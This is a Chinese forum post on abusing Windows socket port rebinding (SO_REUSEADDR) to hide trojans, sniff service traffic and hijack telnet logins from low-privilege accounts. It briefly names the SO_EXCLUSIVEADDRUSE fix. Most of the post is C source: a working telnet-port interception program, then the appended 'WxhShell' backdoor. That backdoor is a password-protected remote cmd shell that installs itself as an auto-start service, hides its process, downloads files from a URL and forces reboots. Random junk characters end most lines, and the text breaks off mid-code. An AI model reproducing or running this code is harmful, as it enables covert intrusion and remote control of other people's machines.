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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X:-X3mV9{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a:@9GmtV&  
 N>`+{  
  saddr.sin_family = AF_INET; kF'^!Hp  
#1Mk9sxo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EZ #UdK_  
*lv)9L+0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @RotJl/>  
etf ft8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 La%\- o  
)DMu`cD  
  这意味着什么?意味着可以进行如下的攻击: ?97MW a   
DGY#pnCu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yb/< 7  
W9 y8dw.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qpd-uC_Ni  
yp5*8g5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }7hpx!s,  
R+]p -NI^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ga f/0/|  
d_J?i]AP|'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DjOFfD\MF  
B0=:A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mDE{s",q/  
pALB[;9g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )xQxc.  
M)Rp+uQ  
  #include hM\QqZFyp  
  #include ~m!>e])P?X  
  #include qq-&z6;$  
  #include    g|<)J-`Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =khjD[muC  
  int main() X2@mQ&n  
  { \$;\,p p  
  WORD wVersionRequested; =\4w" /Y  
  DWORD ret; 7g ]]>  
  WSADATA wsaData; 7~\Dzcfk"P  
  BOOL val; NOyLZa'  
  SOCKADDR_IN saddr; QXJD' c  
  SOCKADDR_IN scaddr; $Fz/&;KX!  
  int err; ([|5(Omd\  
  SOCKET s; VK`_ Qc#B  
  SOCKET sc; W3UK[_qK  
  int caddsize; CW\o>yh  
  HANDLE mt; /p\Ymq  
  DWORD tid;   yD1*^~loJ  
  wVersionRequested = MAKEWORD( 2, 2 ); 2DQ'h}BI  
  err = WSAStartup( wVersionRequested, &wsaData ); u-UUF  
  if ( err != 0 ) { ?^BsR  
  printf("error!WSAStartup failed!\n"); 1@)]+* F*z  
  return -1; {DN c7G  
  } SNvK8,"g  
  saddr.sin_family = AF_INET; *(?YgV  
   O#O~A |  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BT>*xZLpS  
Aog 3d\1$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1)_f9GR  
  saddr.sin_port = htons(23); TG?;o/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?P`wLS^;  
  { 0IDHoNaT<  
  printf("error!socket failed!\n"); 0O-p(L=  
  return -1; }"m@~kg=  
  } 'IfM~9'D  
  val = TRUE; WY 2b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CyG@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w**.8]A"N  
  { o*p7/KvoT  
  printf("error!setsockopt failed!\n"); FGwz5@|E  
  return -1; aS~k.^N  
  } %J.Rm0FD:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "vLqYc4$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nOQ+oqM<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mf}?z21vD  
:NbD^h)R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O.rk!&N  
  { ac+7D:X  
  ret=GetLastError(); +Yi=W o/  
  printf("error!bind failed!\n"); PNc200`v4_  
  return -1; vJ"@#$.  
  } !LIWoa[ F.  
  listen(s,2); asQ" |]m  
  while(1) /SMp`Q88  
  { S\0"G*  
  caddsize = sizeof(scaddr); ULU ]k#  
  //接受连接请求 #S<>+,Lk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }GkEv}~t  
  if(sc!=INVALID_SOCKET) =1yUH9\,b  
  { BOwkC;Q[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )>\Ne~%  
  if(mt==NULL) ,?&hqM\  
  { E}NX+ vYF  
  printf("Thread Creat Failed!\n"); CKh-+8j  
  break; -8 &f=J)  
  } $6y1';A  
  } ^[zF_df  
  CloseHandle(mt); <R3S{ ty  
  } FNc[2sI  
  closesocket(s);  o{-PT'  
  WSACleanup(); Nq*\{rb  
  return 0; 0w+hf3K+:  
  }   bO2$0!=I  
  DWORD WINAPI ClientThread(LPVOID lpParam) k9^P#l@p  
  { $%1[<}<  
  SOCKET ss = (SOCKET)lpParam; Q8:u1$}  
  SOCKET sc; U +mx@C_  
  unsigned char buf[4096]; JC=Bxv  
  SOCKADDR_IN saddr; 8: s3Q`O  
  long num; |AFF*]e S  
  DWORD val; ^S<Z'S  
  DWORD ret; (^Nf;E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y~- ?   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |;D[Al5AMc  
  saddr.sin_family = AF_INET; 55$by.rf?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j,1,;  
  saddr.sin_port = htons(23); <EBp X   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2o\\qEYg  
  { up:e0di{  
  printf("error!socket failed!\n"); o.Cj+`0}5  
  return -1; -q+Fj;El  
  } aaaC8;.  
  val = 100; tkuN$Jl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Ji,n;QLm  
  { *f4KmiQ~ %  
  ret = GetLastError(); \!SC;  
  return -1; (9cIU2e  
  } qbP[  9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vxqMo9T  
  { JWn9&WK  
  ret = GetLastError(); ;Rnb^t6Z  
  return -1; "jeJV,%  
  } -Q$$2QW!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8tdUnh%/  
  { "%.#/!RG  
  printf("error!socket connect failed!\n"); w:umr#  
  closesocket(sc); *:&fw'vd,  
  closesocket(ss); -9aht}Z  
  return -1; 'm2,7]  
  } *K+*0_  
  while(1) Tl=vgs1  
  { 2}}~\C}o+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U3za}3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RsV<*s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XD|&{/O  
  num = recv(ss,buf,4096,0); DG:=E/@  
  if(num>0) .qVdo+M%F  
  send(sc,buf,num,0); VWMCbg>R  
  else if(num==0) *50Ykf  
  break; Aga7X@fV(  
  num = recv(sc,buf,4096,0); R#T6I i  
  if(num>0) RuXK` y Sv  
  send(ss,buf,num,0); 5:s]z#8)  
  else if(num==0) 0c3G_I=  
  break; XkK16aLE  
  } &[Sw:{&*jv  
  closesocket(ss); o<g (%ncr  
  closesocket(sc); )E4COw+  
  return 0 ; qlgh$9  
  } Uc6U!X  
~Snw':  
qy-BZ%3  
========================================================== 2XXEg> CU  
mYy3KqYu  
下边附上一个代码,,WXhSHELL d->b9  
:ZzG5[o3  
========================================================== O! j@8~='  
sP+S86 u  
#include "stdafx.h" BFEo:!'F  
b uhxC5i%  
#include <stdio.h> ]Ny]Ox<  
#include <string.h> Iy,)>V%iZV  
#include <windows.h> D^TKv;%d  
#include <winsock2.h> b#y}VY)?  
#include <winsvc.h> QWxQD'L'  
#include <urlmon.h> )Tb;N  
pD>3c9J'^F  
#pragma comment (lib, "Ws2_32.lib") J`x9 XWYw  
#pragma comment (lib, "urlmon.lib") %2L9kw'  
}BfwMq4E)n  
#define MAX_USER   100 // 最大客户端连接数 K^> qn,]H'  
#define BUF_SOCK   200 // sock buffer ,%jJ ,G,  
#define KEY_BUFF   255 // 输入 buffer XSxya .1  
3 (}?f  
#define REBOOT     0   // 重启 A5/h*`Q\\  
#define SHUTDOWN   1   // 关机 '{+hti,Lh  
_rR.Y3N  
#define DEF_PORT   5000 // 监听端口 *Z0}0< D@Z  
@+ 2Zt%  
#define REG_LEN     16   // 注册表键长度 %(e=Q^=  
#define SVC_LEN     80   // NT服务名长度 _ Po9pZ  
Ec[:6}  
// 从dll定义API WI6er;D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K{iay g!k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9z-"JnM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pTN_6=Y"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sV+>(c-$  
*o>E{  
// wxhshell配置信息 wXZ-%,R -D  
struct WSCFG { Zn^E   
  int ws_port;         // 监听端口 \GWq0z&  
  char ws_passstr[REG_LEN]; // 口令 FE5R ^W#u-  
  int ws_autoins;       // 安装标记, 1=yes 0=no y%GV9  
  char ws_regname[REG_LEN]; // 注册表键名 MUo?ajbqOd  
  char ws_svcname[REG_LEN]; // 服务名  z7K?rgH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "ulaF+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JBYQ7SsAS0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vd ;wQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IR>K ka(B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "E8!{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :#LB}=HQ  
dHu]wog  
}; Ltj}>.+  
l-Xxv  
// default Wxhshell configuration [L\w] 6  
struct WSCFG wscfg={DEF_PORT, kQb0pfYs  
    "xuhuanlingzhe", QxkfP%_g  
    1, :C&?(HJ&r  
    "Wxhshell", hh?'tb{  
    "Wxhshell", ,S8Vfb &  
            "WxhShell Service", ysa"f+/  
    "Wrsky Windows CmdShell Service", Rsulp#['  
    "Please Input Your Password: ", *H$nydQ:  
  1, f*I5 m=  
  "http://www.wrsky.com/wxhshell.exe", F;ZLoG*U  
  "Wxhshell.exe" y jpjJ  
    }; m0edkt-x  
V4"AFArI  
// 消息定义模块 ZN)/doK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SB;Wa%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >}I}9y+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }+B7C2_\  
char *msg_ws_ext="\n\rExit."; =#u2Rx%V  
char *msg_ws_end="\n\rQuit."; h1Lp:@:|  
char *msg_ws_boot="\n\rReboot..."; jn7} jWA  
char *msg_ws_poff="\n\rShutdown..."; $ -y+97  
char *msg_ws_down="\n\rSave to "; :Hd<S   
m<yA] ';s  
char *msg_ws_err="\n\rErr!"; jTqba:q@  
char *msg_ws_ok="\n\rOK!"; V.F 's(o  
5>=tNbk"s  
char ExeFile[MAX_PATH]; eS"gHldz  
int nUser = 0; ~ U1iB  
HANDLE handles[MAX_USER]; SN+Bmdup  
int OsIsNt; V?"^Ff3m!  
i~,k2*o  
SERVICE_STATUS       serviceStatus; Zu$f[U)X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pta%%8":  
Za} |Ee  
// 函数声明 m^=, RfUUd  
int Install(void); V ": BAn  
int Uninstall(void); S ~_%  
int DownloadFile(char *sURL, SOCKET wsh); 70NHU;&N  
int Boot(int flag); k`t'P6 bU  
void HideProc(void); Ao\Vh\rQkq  
int GetOsVer(void); 8x{vgx @M  
int Wxhshell(SOCKET wsl); ^DH*@M  
void TalkWithClient(void *cs); 9,Mp/.T"\  
int CmdShell(SOCKET sock); k@~-|\ooG  
int StartFromService(void); MJb = +L  
int StartWxhshell(LPSTR lpCmdLine); wx!*fy4hL  
V ;6M[ic}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d#*5U9\z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z^|C~lp;n  
ArEpH"}@  
// 数据结构和表定义 y(R*Z^c}d,  
SERVICE_TABLE_ENTRY DispatchTable[] = !G,$:t1-=V  
{ @v'D9 ?  
{wscfg.ws_svcname, NTServiceMain}, I>xB.$A  
{NULL, NULL} gv,T<A?Z2  
}; <\8   
=oTYwU  
// 自我安装 cjR.9bgn  
int Install(void) SQ!lgm1bA  
{ <8bO1t^*  
  char svExeFile[MAX_PATH]; ~ /[Cgh0  
  HKEY key; N|j. @K  
  strcpy(svExeFile,ExeFile); RmQt%a7\{  
%8tN$8P  
// 如果是win9x系统,修改注册表设为自启动  )L!R~F C  
if(!OsIsNt) { =gn}_sKNE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +E:(-$"R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I Q L~I13  
  RegCloseKey(key); HLk"a-+'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9e&#;6l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F:g{rm[  
  RegCloseKey(key); 3azc`[hl  
  return 0; z]YhQIU4n8  
    } ob7_dWAG  
  } AN>`M?EQ  
} B#MW`7c  
else { =tNiIU  
^zJ. W  
// 如果是NT以上系统,安装为系统服务 ##@#:B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gdK/:%u3  
if (schSCManager!=0) J){\h-4  
{ -IS9uaT5  
  SC_HANDLE schService = CreateService /RC!Yi  
  ( de6dLT>m  
  schSCManager, 2P ?Iu&  
  wscfg.ws_svcname, >>cd3)b  
  wscfg.ws_svcdisp, h6e$$-_  
  SERVICE_ALL_ACCESS, rsv!mY,Em  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 713M4CtJ  
  SERVICE_AUTO_START, qlJOb}$ I  
  SERVICE_ERROR_NORMAL, 4sQAR6_SW~  
  svExeFile, {?y7'  
  NULL, QL2y,?Mz7  
  NULL, B|=maz:_  
  NULL, X-,y[ )  
  NULL, LwPM7S~ *  
  NULL /vDF<HVzm  
  ); S7/v ,E  
  if (schService!=0) 1hyah.i]Y  
  { Q/n.T0Z ^  
  CloseServiceHandle(schService); V^z;^mdd  
  CloseServiceHandle(schSCManager); )T5h\ZO`;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ;"^9L  
  strcat(svExeFile,wscfg.ws_svcname); )JQQ4D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  {Yk20Zn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ->&VbR)  
  RegCloseKey(key); ~k0)+D}  
  return 0; O`jA-t  
    } S1`0d9ds#  
  } `_A?a_[*  
  CloseServiceHandle(schSCManager); PJ@,01  
} $jm<' 4  
} $-?5Q~  
-!>ZATL<B  
return 1; bMZn7c  
} +fQL~ 0tA  
u^$Md WP  
// 自我卸载 eKz~viM'  
int Uninstall(void) nE0~Y2  
{ !s*''v*  
  HKEY key; 0r ; nz]'  
FqxOHovE  
if(!OsIsNt) { &] F|U3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ><MgIV  
  RegDeleteValue(key,wscfg.ws_regname);  Gy6 qLM  
  RegCloseKey(key); zZc@;S#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qz(T[H5%W  
  RegDeleteValue(key,wscfg.ws_regname); }!]x|zU.=  
  RegCloseKey(key); yO;C3q  
  return 0; p}DF$k%`  
  } xO-U]%oq  
} $A@3ogoS&  
} bM0[V5:jB  
else { F]A~~P  
r&3o~!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tW:/R@@  
if (schSCManager!=0) _L'cyH.cn  
{ ;u};& sm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &9_\E{o%]  
  if (schService!=0) <o7#?AcPu  
  { <GgtP55  
  if(DeleteService(schService)!=0) { u?3NBc$~A  
  CloseServiceHandle(schService); B=bI'S8\  
  CloseServiceHandle(schSCManager); F2`htM@,  
  return 0; UX'NJ1f  
  } -0o6*?[Z  
  CloseServiceHandle(schService); 0 ;_wAk  
  } {dA ~#fW<  
  CloseServiceHandle(schSCManager); BH0#Q5  
} LL[#b2CKa  
} EY&C [=  
tP Efz+1N  
return 1; 7;}3{z  
} Y-3[KHD  
L^Q+Q)zTh  
// 从指定url下载文件 ,Q=)$ `%  
int DownloadFile(char *sURL, SOCKET wsh) #f3;}1(  
{ KCh  
  HRESULT hr; Mev-M2A  
char seps[]= "/"; zt[4_;2Y  
char *token; G(OT"+O,  
char *file; nN`Z0?  
char myURL[MAX_PATH]; '<&EPUO  
char myFILE[MAX_PATH]; -)O kG#J@  
PWk ?8dL-  
strcpy(myURL,sURL); ]6B mCh  
  token=strtok(myURL,seps); *Qg5Z   
  while(token!=NULL) &:;;u\  
  { f;Bfh3  
    file=token; .eabtGO,  
  token=strtok(NULL,seps); R=amKLD?  
  } Z0ncN])  
*pTO|x{  
GetCurrentDirectory(MAX_PATH,myFILE); KM5DYy2 A6  
strcat(myFILE, "\\"); +dgo-)kP(_  
strcat(myFILE, file); /LI~o~m1)  
  send(wsh,myFILE,strlen(myFILE),0); h*#2bS~nl-  
send(wsh,"...",3,0); ,t%\0[{/B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8PoHBOxpc  
  if(hr==S_OK) 'lN*Ys iDi  
return 0; CaYos;Pl  
else MLt'YW^  
return 1; U+*oI*  
Z6R: rq  
} N* ] i G~  
(9KDtr*(2i  
// 系统电源模块 =(.mf  
int Boot(int flag) V%BJNJ  
{ 5fegWCJ  
  HANDLE hToken; -4vHK!l  
  TOKEN_PRIVILEGES tkp; YBtq0c  
&e ?"5  
  if(OsIsNt) { UbY~xs7_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :m* !?QGdL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G9i&#)nWr  
    tkp.PrivilegeCount = 1; hC|5e|S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /lr1hW~Dbk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K_AtU/  
if(flag==REBOOT) { c?.r"5#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k=T-L  
  return 0; ]g>m?\'n  
} <+T\F;   
else { *K+jsVDY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]_ejDN\>{V  
  return 0; cuQ7kECV  
} ~m?74^ i  
  } b(#"w[|  
  else { YN%=Oq  
if(flag==REBOOT) { j<ABO")v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %tzN@  
  return 0; stg30><  
} >'} Y1_S5  
else { [y|^P\D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T_@[k  
  return 0; p.rdSv(8'  
} mUrS &&fu8  
} ?w]"~   
FJsK5-  
return 1; ?kL|>1TY  
} 1V|< A  
( zn_8s  
// win9x进程隐藏模块 0" U5oP[  
void HideProc(void) "UQr:/  
{ Gur8.A;Y  
V[o7J r~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aF&r/j+}o  
  if ( hKernel != NULL ) SON ^CvMs{  
  { ; x:k-s2-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6R1wn&8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ny12U;'s,  
    FreeLibrary(hKernel); Sf  024  
  } J3/\<=Qh  
[x;(cISK1  
return; Ku<b0<`  
} gYTyH.  
2{A;du%&  
// 获取操作系统版本 rc;7W:  
int GetOsVer(void) (3 IZ  
{ {S5RK-ax  
  OSVERSIONINFO winfo; L6|Hgrj-u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = n+q_.A  
  GetVersionEx(&winfo); 81GQijq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >_;kTy,  
  return 1; 6 gj]y^}  
  else |av*!i5Q  
  return 0; {0is wq'J  
} &$mZ?%^C  
Op`I;Q #%d  
// 客户端句柄模块 e Wb0^8_  
int Wxhshell(SOCKET wsl) zKIGWH=qqm  
{ ;_mgiKHg  
  SOCKET wsh; ]3n, AHA  
  struct sockaddr_in client; c3=-Mq9Q  
  DWORD myID; [J a)<!]<  
_1I K$gb[  
  while(nUser<MAX_USER) @%6)^]m}r  
{ cC^W2\  
  int nSize=sizeof(client); r_b8,I6{]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v6wRME;JA  
  if(wsh==INVALID_SOCKET) return 1; JB&G~7Q85  
<+V-k|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rHvF%o  
if(handles[nUser]==0) _Zh2eXWdjM  
  closesocket(wsh); 4bP13f  
else an3~'g?  
  nUser++; AXz-4,=xX  
  } *:a'GC%/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %lN2n,AK  
nN>J*02(  
  return 0; %b=Y <v  
} `_|aeoK_  
L ;6b+I  
// 关闭 socket u3U4UK  
void CloseIt(SOCKET wsh) 30D: ZmlY  
{ !n|#|.0m  
closesocket(wsh); EJ1Bq>u7  
nUser--; >BBl 7  
ExitThread(0); cppL0myJ  
} 7$!yfMttu  
H5~1g6b@  
// 客户端请求句柄  }VF#\q  
void TalkWithClient(void *cs) 3pB}2]  
{ 8EOh0gk7  
n'T He|:I  
  SOCKET wsh=(SOCKET)cs; N? M   
  char pwd[SVC_LEN]; b`$yqi<[  
  char cmd[KEY_BUFF]; 0s1'pA'  
char chr[1]; G3G/ xC"  
int i,j; e|yX QTlvL  
W7t >&3l  
  while (nUser < MAX_USER) { |~z3U>  
Odm#wL~E  
if(wscfg.ws_passstr) { xdPcsox~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YQ; cJ$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N1%p"(  
  //ZeroMemory(pwd,KEY_BUFF); f0vJm  
      i=0; WP}ixcq#  
  while(i<SVC_LEN) { 1@xP(XS  
Q8p=!K  
  // 设置超时 m# JI!_~!  
  fd_set FdRead; g6WPPpqus  
  struct timeval TimeOut; ny)]GvxI  
  FD_ZERO(&FdRead); WE0}$P:  
  FD_SET(wsh,&FdRead); t#Th9G]1  
  TimeOut.tv_sec=8; @<2d8ed  
  TimeOut.tv_usec=0; Bz?l{4".  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c7\VTYT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zxkM'8JC  
K}x_nW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `ruNA>M  
  pwd=chr[0]; _3/ec]1  
  if(chr[0]==0xd || chr[0]==0xa) { Jm4#V~w  
  pwd=0; 5k]XQxc6_  
  break; w!\3ICB  
  } TXjloGv^  
  i++; _K'7(d0z  
    } JBz}|M D  
9RH"d[%yc}  
  // 如果是非法用户,关闭 socket BWh }^3?l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v9=}S\=Cd  
} s.VA!@F5  
K1OkZ6kl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); } ~| k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^-hErsK  
@D~B{Hg  
while(1) { 6gnbkpYi  
&f-hG3/M  
  ZeroMemory(cmd,KEY_BUFF); Z0-ytODI I  
&R,9+c  
      // 自动支持客户端 telnet标准   1_uvoFLk  
  j=0; eX"''PA  
  while(j<KEY_BUFF) { eJHp6)2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6g"C#&{@  
  cmd[j]=chr[0]; mk%b9Ko<F  
  if(chr[0]==0xa || chr[0]==0xd) { f8=]oa]  
  cmd[j]=0; 6W&_2a7*  
  break; ?1peF47Z  
  } oaK.kOo  
  j++; JE hm1T  
    } ,X68xk.'  
Zsj`F9*e  
  // 下载文件 e`iEy=W  
  if(strstr(cmd,"http://")) { :lgi>^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IxOc':/jY  
  if(DownloadFile(cmd,wsh)) )1lu=gc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z C=a3  
  else ^ q?1U?4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); je%ldY]/@  
  } UX2lPgKdLz  
  else { hJ f2o  
y(5:}x&E  
    switch(cmd[0]) { dY!u)M;~~  
  'N\&<dT>  
  // 帮助 qM",( Bh  
  case '?': { wC`;f5->  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  w_Uh  
    break; BtsdeLj|  
  } AOb]qc  
  // 安装 L%t@,O#,  
  case 'i': { E"qFXA>  
    if(Install()) ;JT(3yK4>p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7&U&E|  
    else D//=m=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !:3.D,  
    break; +&5' uAe  
    } O("Uq../3  
  // 卸载 .Q* 'r& n  
  case 'r': { gmP9j)V6  
    if(Uninstall()) 19t{|w<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ab.tH$:<  
    else c?E{fD"Fc3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rjk( X|R*  
    break; 0fArF*  
    } 63 2bN=>  
  // 显示 wxhshell 所在路径 z wk.bf>m  
  case 'p': { Y3Oz'%B  
    char svExeFile[MAX_PATH]; @MbVWiv  
    strcpy(svExeFile,"\n\r"); fThgK;Qy'U  
      strcat(svExeFile,ExeFile); n?xTkkr0  
        send(wsh,svExeFile,strlen(svExeFile),0); p?# pT}1  
    break; nlc.u}#  
    } -tLO.JK<  
  // 重启 c5% 6Y2W0  
  case 'b': { C&<~f#lB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pHC /(6?  
    if(Boot(REBOOT)) .c+9P<VmC}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?k J).  
    else { #_JYh?  
    closesocket(wsh); )nfEQ)L;h}  
    ExitThread(0); Am"(+>W21  
    } O )d[8jw"  
    break; F #`=oM $5  
    } fjG&`m#"  
  // 关机 t;NV $!!  
  case 'd': { `yO'[2  
